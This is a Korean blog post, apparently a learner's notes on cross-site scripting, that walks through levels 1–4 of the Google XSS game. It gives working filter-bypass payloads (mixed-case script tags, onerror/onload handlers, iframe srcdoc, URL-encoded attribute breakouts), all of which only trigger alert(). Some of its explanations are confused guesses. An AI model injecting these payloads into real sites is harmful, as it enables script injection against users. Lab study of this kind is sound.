XSS 간단하게 정리
: XSS는 게시판이나 웹메일 등에 자바스크립트같은 스크립트를 삽입하여 개발자가 고려하지 않은 기능을 유발한다.
<script> </script>사용
script막아져있을땐: <ScriPT> </sCriPt> 사용 //컴퓨터는 스크립트 대소문자 신경 안쓰고 똑같이 실행시킨다.
script를 lowercase로 아예 막아놨을때: <img src=about: onerror=alert(document.domain) > 처럼
다른 태그를 이용한다.
<img src=about: onerror=alert(document.domain)>
<svg src=about: onload=alert(document.domain)>
<body onload=alert(document.domain)>
<video><source onerror=alert(document.domain)></video>
<img src="valid.jpg" onload="alert(document.domain)">
<img src="about:invalid" onerror="alert(document.domain)">
왠 about이라고 묻는다면
특별히, about: 이나 chrome:// 스킴은 동작하지 않으므로 피해야 한다.
여기참고
https://developer.mozilla.org/ko/docs/MDN/Guidelines/Writing_style_guide
만약 script와 on(onerror, onload..)도 막아놨다면
--> iframe태그 이용
<iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)>'></iframe>
iframe의 srcdoc은 iframe웹 페이지에 보일 html 코드를 명시한다.
iframe을 이용하면 onerror말고 바로 error를 사용할 수 있다.
parent.alert()로 바로 alert()를 사용하지 않는 이유는 저 url은 iframe내에서 실행되므로 우리가 보려면 그 상위로 alert해야하기 때문이다.
on 이건 뭐지
문제 시작
1.
alert() 유발시키기
<script>alert()</script>
2.
script 사용안하고 alert() 유발시키기
<img src=about: onerror=alert()>
3.
문자열 xss
http://xss-game.appspot.com/level3/frame?#3 이고 파라미터를 이용하여 xss 유발한다.
코드를 보면 친절하게 주석을 달아놨다.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.=적절한 이미지를 동적으로 로딩
var html = "Image " + parseInt(num) + "<br>"; //<br>은 줄바꿈요소
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; ]
//Image3 줄바꾸고 <img src='static/level3/cloud3.jpg ;/> 식일 것이다. >>바로바로 num이 보일 것이다.
$('#tabContent').html(html); // tabContent(박스부분에) html(방금 위에꺼) 실행시킨다.
* 참고
$(선택자).동작함수(); //선택자에 동작을 설정한다.
window.location.hash = num;
**window.location.hash는 url 뒤 #의 값을 value로 한다.(문자열이다!!)
* 참고
https://webroadcast.tistory.com/1
http://xss-game.appspot.com/level3/frame?#3 이거보면 num은 3이다.
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) { //tab지정값일 때 tab active 아니면 tab
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
주석 없어서 넘어갈뻔..
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
substr() 메서드는 문자열에서 특정 위치에서 시작하여 특정 문자 수 만큼의 문자들을 반환합니다. 안에는 인덱스숫자
(https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String/substr)
unescape는 16진수 문자열을 다시 문자열로
escape은 문자열을 16진수 문자열로
왜 0이 아닌가? #이 있어서 (??)
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
우선 num에 xss을 하는 거니까 이 코드를 보자
function chooseTab(num) {
// Dynamically load the appropriate image.=적절한 이미지를 동적으로 로딩
var html = "Image " + parseInt(num) + "<br>"; //<br>은 줄바꿈요소
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; ]
$('#tabContent').html(html);
num값을 url의 #뒤에 넣어주면 된다.
# 4.jpg/> <script>alert()</script> <img src='"를 했다.
4.jpg라고 나오지만 스크립트는 실행이 안된다. 왜?-->>
힌트 4. As before, using <script> ... as a payload won't work because the browser won't execute scripts added after the page has loaded.
그 이유는 chooseTab에서 num을 인자로 갖는데 이 인자는 #으로부터 또 가져오기 때문이다. (chooseTab(unescape(self.location.hash.substr(1)));)
num을 지정했는데 원하지 않은 내용을 포함한게 num이 된다.(X)
num은 숫자값만 들어감 #뒤
이 말 무슨 말이지?
암튼 이 방법은 아니고 ..<img src='/static/level3/cloud 4.jpg onerror=alert()
...................................................................
뭐지 뭐지 뭐지 뭐지 구조를 틀렸나 생각해보다가..
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; ]
num이 3이면
<img src='/static/level3/cloud"3".jpg />
<img src='/static/level3/cloud" ".jpg' />
+ 4.jpg onerror=alert() +
+ '4.jpg' onerror=alert() +
+ '4.jpg' onerror='alert()' + //됐다.
+ '4' onerror='alert()' + //이것도 가능
cloud"4.jpg는 level3에 없을테니까 에러가 나고(cloud"3".jpg와 달리) 에러시 alert()".jpg가 실행된다.
중요: src는 ' '로 묶여있다. '4'이렇게 안쓰면 src문자열과 안더해진다. (window.location.hash는 문자열이다.)
왜 "는 있는거지 그럼..
*
<img src="noimg.jpg" onerror="this.src='https://s.pstatic.net/static/www/img/uit/2019/sp_search.svg';"/>
(출처:https://zxchsr.tistory.com/16)
여기보면 img src와 onerror가 " "로 묶여있는 것을 볼 수 있다. 문자열로 src와 onerror를 묶어줘야한다는 뜻이다.
코드를 보고 최대한 코드에 끼워넣으려고 노력하자.(문자열 연결하기)
4.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3; //숫자가 아니면 3이다.
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" /> //startTimer('3'); 이렇게 실행된다.
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
힌트에서 보다싶이 timer(입력버튼)에 '을 넣으면 startTimer('''); 이렇게 되서 에러가 발생한다.(계속 로딩)
<개발자도구-콘솔창>
parseInt("<script>alert()</script>")
NaN
이걸보면 다른 것들은 다 NaN으로 처리되어서 3이 되지만
parseInt(''')
->에러발생 이유: )을 안썼다고 한다.
timer=') onerror='alert() 를 해봤다.
그럼
<img src="/static/loading.gif" onload="startTimer('') onerror='alert()');" /> //콘솔창에 에러->코드클릭,확인
이렇게 뜬다. '이 ''로 바뀐걸 볼 수 있다. >> &#x(변수) 앞에 &#을 넣어서 공격자가 특수문자를
사용하는 것을 막는다 유니코드 문자열 16진수 인코딩 (https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/)
하지만 힌트처럼:
When browsers parse tag attributes, they HTML-decode their values first. <foo bar='z'> is the same as <foo bar='z'
바뀌던 안바뀌던 값은 정상적으로 실행될 것이다. --???? 힌트가 왜이래
다시 보자.. 우선 메소드를 종료시켜야한다.
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<img src="/static/loading.gif" onload="startTimer(' ');" />
'); alert(' //계속 로딩된다. 1초로 바꾸면? 1'); alert(' //왜 계속 로딩이지
아 맞는데 왜 아니냐고 ...
인내력이 늘어간다./.
힌트 2번이 계속 눈에 걸린다..정상적으로 실행될거면 줄 리가 없는데.. &#은
// GET으로 전송 시 URL 인코딩이 자동으로 적용되지만 &, # 같은 특수기호는 직접 인코딩을 해줘야합니다.
(출처: 16진수 인코딩을 이용한 xss https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/ )
')%3B%20alert('
와우 되었다. (url 인코딩)
ㅋ
여기서는 '); alert(' --> ')%3B%20alert('
;문자가 인코딩되었다.
행운의 표시로 url인코더 사이트를 북마크했다.(https://heavenly-appear.tistory.com/176)
드림핵에서는 인코더 안해도 되었던게 개념 설명하려고 그랬나보다..
특수문자는 인코딩하자 ex) ;,&,#
2.jpg' onload ='alert() 도 가능하다고 한다!
5.
signup.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! --> //이메일 무시한다.
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
'보안공부 > 워게임' 카테고리의 다른 글
mongoboard (0) | 2021.07.10 |
---|---|
Mango (0) | 2021.07.03 |
LordofSQLInjection 1,2,3 (0) | 2021.05.27 |
wargame[2]csrf-1 (0) | 2021.05.22 |
wargame[1] simple sql (0) | 2021.05.21 |